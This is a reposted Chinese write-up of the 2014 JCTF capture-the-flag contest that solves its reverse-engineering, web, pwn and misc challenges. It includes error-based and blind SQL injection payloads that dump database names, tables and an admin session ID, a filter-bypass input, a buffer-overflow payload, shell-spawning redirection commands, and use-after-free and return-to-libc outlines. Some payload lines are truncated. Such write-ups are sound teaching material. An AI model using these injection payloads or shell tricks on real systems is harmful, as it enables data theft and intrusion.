JCTF Writeup

转载

weixin_34007886 于 2018-03-08 10:52:33 发布 423 收藏 1
文章标签： 数据库 开发工具 php
原文链接：https://juejin.im/post/5aa115f16fb9a028d20784b2

> Sasiki · 2014/09/30 15:35

SJTU 0ops - September 11, 2014

赛题源代码：JCTF源码.zip

RE

RE100

扔给dex2jar+jdgui,在MainActivity里看到

```
NzU2ZDJmYzg0ZDA3YTM1NmM4ZjY4ZjcxZmU3NmUxODk=
复制代码
```

Base64解码为

```
756d2fc84d07a356c8f68f71fe76e189
复制代码
```

百度一下,你就知道:

2fc84d07a356c8f68f71fe76e189 是多少,有没有人知道 我觉得是}321nimda{galflj 大家觉得呢

反过来就是flag

RE200

首先需要修复PE头,从MS Dos Header指向PE header的偏移应该是0xE8,此外PE header 头部的magic number从"PE\FF\0"改成"PE\0\0",完成修复 其次分析程序,程序输□入9个数,但是只需要前面三个数进行一个运算,满足相关条件,中间三个数为80 94 98,最后三个数无关,然后打印出flag只取前面三个数

```
#!c
#include <stdio.h>
int main( int argc, char *argv[] )
{
    for ( size_t i = 0; i < 0x100000; ++i )
    {
        for ( size_t j = 0; j < 0x100000; ++j )
        {
            size_t k = (i ^ j) + 4;
            if ( i * j * k / 0xb == 0x6a && (i + j + k) % 100 == 0x22 )
            {
                printf( "%d %d %d\n", i, j, k );
                // return 1;
            }
        }
    }
    return(0);
}
复制代码
```

有多解,然后程序中还有一个限制条件检查,逻辑□比较繁琐,我们直接测试了多个解发现 15 6 13这一组是正确解

flag为

```
jlflag{15613abc}
复制代码
```

RE300

程序非常可爱的去检查IsDebugPresent,如果存在Debug才会执行,所以需要用□隐藏版的调试器执行或者手工patch。程序接下来会读取keyfile,读取出来的内容用strol函数(16进制编码)转换成特定的值和 0x19310918 异或,得到的值符合程序中固定的值即可,但是这个题目明显的存在多解,因为strol可以接受各种格式的输入,例如0xFFFFFFFF和FFFFFFFF都是转换成统一的值,另外还有前面插入多余的空格等等。

最后正确的flag应该是

```
0x181f0d1f
复制代码
```

RE400

是一道自修改代码的题目,会把0x00422000上的代码做一个运算然后去执行! 简单的写了一个搜索程序,特征是要求搜索出来最后一个字节是0xc3也就是retn!

```
#!c
#include <stdio.h>
unsigned char t( unsigned short c, size_t num )
{
    unsigned int result = 1;
    for ( size_t i = 0; i < num; ++i )
    {
        result = c * result % 0x5ED;
    }
    return(result & 0xFF);
}


unsigned short Table[] =
{
    0x00F9, 0x02C3, 0x034B, 0x0149, 0x04E7, 0x02C3, 0x012E, 0x0570, 0x0543, 0x0001, 0x02C3, 0x059C, 0x018C,
};
unsigned char TableNew[0x90]; int main( int argc, char *argv[] )
{
    for ( size_t input = 0; input < 0x100; ++input )
    {
        for ( size_t i = 0; i < 0x90; ++i )
        {
            TableNew[i] = t( Table[i], input );
        }
        if ( TableNew[0x90 - 1] == 0xc3 )
        {
            for ( size_t i = 0; i < 0x90; ++i )
                printf( "%02x ", TableNew[i] );
            printf( "\n---%d---\n", input );
        }
    }
    return(0);
}
复制代码
```

搜索出来以后,发现当input取233的时候,解出来的第一个字节0x55符合push ebp特征, 所以选择它,然后解出来的代码中有硬编码的

```
jlflag{L04e_3389_admin}
复制代码
```

RE500

首先发现是梆梆加固的apk,利用百度研究员开发的ZJDroid进行脱壳,得到一个dex文件,发现里面去exec了□个findstr的native code,于是逆向分析该binary,该binary接受的是输入字符串的逆序,然后将输入字符串做了两个变换A和B,再和binary内部一固定字符串做两个变换C和 D之后进行比较。C和D变换比较复杂,但是我们使□用了IDA动态调试直接拿到了固定字符 串做完C和D变换后的值,无视逆向,然后写出代码hEll0_Arm_W0rld

```
#!c
#include <stdio.h>
int main( int argc, char *argv[] )
{
    char    str[]       = "+nv|ai|KivO:w:vr";
    char    new_str[]   = "+nv|ai|KivO:w:vr"; new_str[5] = str[4];
    new_str[6]  = str[5];
    new_str[8]  = str[6];
    new_str[9]  = str[7];
      new_str[10]   = str[8]; new_str[13] = str[9]; new_str[14] = str[10]; new_str[4] = str[11]; new_str[7]
    for ( size_t i = 0; i < 16; ++i )
    {
        new_str[i] -= 10;
    }
    for ( size_t i = 0; i < 16; ++i )
    {
        str[15 - i] = new_str[i];
    }
    puts( str );
    return(0);
}
复制代码
```

WEB

WEB100

根据header中vim提示,网站上可能存在vim编辑时剩下的临时□件,也就是.index.html.swp

网上找个dvorak键盘图片

[行,列] 一个一个字符解就是了,比如

```
[4,4] = j
[2,11] = l
复制代码
```

之后出现的 [4,1,x,x] 是 Shift + [x,x]

WEB200

在登陆页查看网页源码发现

```
<!--I'm lazy, so I save password into a file named password.key -->
复制代码
```

下载password.key文件,打开里面为一段加密后的javascript代码,直接在控制台执行得到：

```
Password: xssbbs
复制代码
```

任意用户名+xssbbs做密码即可登陆,但唯独不能用admin登陆。

登陆后发现能发表评论,根据题目中xss提示发现存在xss漏洞。但是只能x自己的xss不是好 xss。用单引号测试提交字段,发现存在SQL注入漏洞。

因为发表评论,此处应为insert类型的注入,利□MySQL的报错性质。

得到数据库:

```
title=s' or updatexml(0,concat(0x7e,(SELECT group_concat(schema_name) FROM information_schema.schemata )),0
复制代码
```

发现有information_schema,kaer两个数据库

得到kaer的表名

```
title=s' or updatexml(0,concat(0x7e,(SELECT group_concat(table_name) FROM information_schema.tables WHERE t
复制代码
```

有comment,user两个表

查找user表的列名

```
title=s' or updatexml(0,concat(0x7e,(SELECT group_concat(column_name) FROM information_schema.columns WHERE
复制代码
```

user表有id,username,session_id三个列

直接查session_id

```
title=title=s' or updatexml(0,(SELECT group_concat(id,0x7e,session_id) FROM user),0) or '&content=s
复制代码
```

得到admin的session_id为MTM5OTYyNzY1Mg==将□己的session改成admin的session,登陆进去后发现啥都没有。

继续注□入:

```
title=s' or updatexml(0,substring(concat(0x7e,(SELECT group_concat(username) FROM user)),30),0) or '&conten
复制代码
```

得到

```
jlflag{1_d0nt_11k3_5q1m4p}
复制代码
```

WEB300

提交?password=flag到达验证码识别的界面。

注意控制User-Agent和Referer,伪装成正常请求。

利用分布式□肉验证码识别系统完成。

WEB400

注意到`http://121.40.150.205/web400/?page=index`这种格式,可能有文件包含。

尝试http://121.40.150.205/web400/index能下载得到index文件。

查看登陆页面源码http://121.40.150.205/web400/?page=test

得到提□

```
<!--action="./index.php?page=login" -->
复制代码
```

访问http://121.40.150.205/web400/login得到登陆源码

其中进□了一个正则检查只允许字母数字和下划线

```
if (!preg_match('/^\w*$/m', $user) || !preg_match('/^\w*$/m', $pwd))
复制代码
```

可用`%0a`绕过!

过滤了空格,可用`/**/`绕过

另外根据提示:

```
Humans shall pass, but bots will FAIL.
复制代码
```

发现表单的提交地址、name、pwd等都在变,与session有关,因此可以用脚本提取这些变的字段。

另外需要修改user-agent为正常浏览器的user-agent。这样可以写脚本进行中转注入。

提交内容举例如下:

```
o5dgNIiZMEySbuCcs3r7=t%0a%27%2F**%2For%2F** %2F1%3D1%23&7PA3h66arJomMvZjEOW8=ss
复制代码
```

由于页面没有回显信息,经过中转之后注入类型为最基本的盲注,正确显□示“This is a test account.”。

最后从user表□里得到flag。jlflag{a1y0u_bucu0_zh3g3d1a0}

PWN

PWN100

连上服务器,输入以下命令即可获得交互式

```
sh<&4
bash >&4 2>&4
复制代码
```

PWN200

修改名字的那个地□是在前一次名字的后面再添加新名字的,这里有缓冲区溢出,把后面一些特定的地方改成特定的值就会进入输出flag的分支

```
Payload = ‘1\n’ + ‘1’*1023 + ‘\n’ + ‘3\n’ + ‘h’*6 + ‘1\x00\x00\x60’ + ‘\n’
复制代码
```

PWN300

Do you want to get the flag?

回答yes,在接下来一个问题读入答案的时候会把buffer的长度+1,有off by 1,正好可以把 buffer后面表示长度的变量改大(改成0xff),再次读入的时候就可以栈溢出,这题没开 NX,可以先用read往固定地址读入shellcode然后再跳转到shellcode去执□

PWN400

在一条message后面加满256条回复就可以将其删除,但是悬空指针还在,再次对其 modify,新输入的content如果长度与刚才被free的结构体大小一样的话就会被分配在同□地址上,这里就可以用字符串的内容填充结构体,再进行一次modify就可以use-after- free,直接调用`system('/bin/sh')`即可

PWN500

程序与pwn300几乎□模□样,差别只在于开了NX,那就直接return到libc中的system去执 行system(‘/bin/sh’)即可

MISC

MISC100

解压apk文件(当作zip),然后在`/res/raw/hehe`里可以找到flag!

```
ctf{adkankjasnfmasncmansddfmnasm}!
复制代码
```

MISC200

扔给dex2jar+jdgui,在Broadcast Receiver onReceive函数里:

```
String str = new StringBuilder(String.valueOf(new StringBuilder(String.valueOf(new StringBuilder(String.val
复制代码
```

答案显而易见。

MISC300

密文是弗吉尼亚密码加密,密钥为12, 11, 8, 13, 25, 14,对密文中的英文字母循环使□密钥为偏移进行移位即可解开明文,□面有如下字符串

```
Here is yor flag:jlflag{I_Kn0w_n0thing}
复制代码
```

MISC400

从data中可以找到curl请求□盘地址,由此下载pcap。

根据http://blog.flanker017.me/actf-misc300%E5%AE%98%E6%96%B9writeup/类似思路找到adb流量中的图□片,得到 flag。

MISC500

把原图每一个像素的rgb值提取出来,把所有绿色值的最低位提取出来,就是一个头破损的bmp图片,修复头就能显示flag